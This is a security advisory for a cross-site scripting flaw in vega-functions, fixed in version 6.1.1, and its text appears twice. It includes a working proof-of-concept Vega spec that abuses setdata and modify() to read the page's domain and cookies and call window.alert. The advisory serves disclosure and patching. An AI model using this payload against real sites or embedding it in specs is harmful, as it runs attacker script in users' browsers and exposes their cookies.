Impact
For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).
Patches
Fixed in vega-functions 6.1.1
Workarounds
There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.
Exploit Proof of Concept
Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:
{
"$schema": "https://vega.github.io/schema/vega/v6.json",
"data": [
{
"name": "table",
"values": [
{"category": "A", "amount": 28}
]
}
],
"signals": [
{
"name": "tooltip",
"value": {},
"on": [
{"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
{"events": "rect:pointerout", "update": "{}"}
]
}
]
}
nikolaybabiy Reporter
hydrosquall Remediation developer
domoritz Remediation reviewer
Impact
For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).
Patches
Fixed in vega-functions
6.1.1Workarounds
There is no workaround besides upgrading. Using
vega.expressionInterpreteras described in CSP safe mode does not prevent this issue.Exploit Proof of Concept
Vega's expression
modify()function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:{ "$schema": "https://vega.github.io/schema/vega/v6.json", "data": [ { "name": "table", "values": [ {"category": "A", "amount": 28} ] } ], "signals": [ { "name": "tooltip", "value": {}, "on": [ {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"}, {"events": "rect:pointerout", "update": "{}"} ] } ] }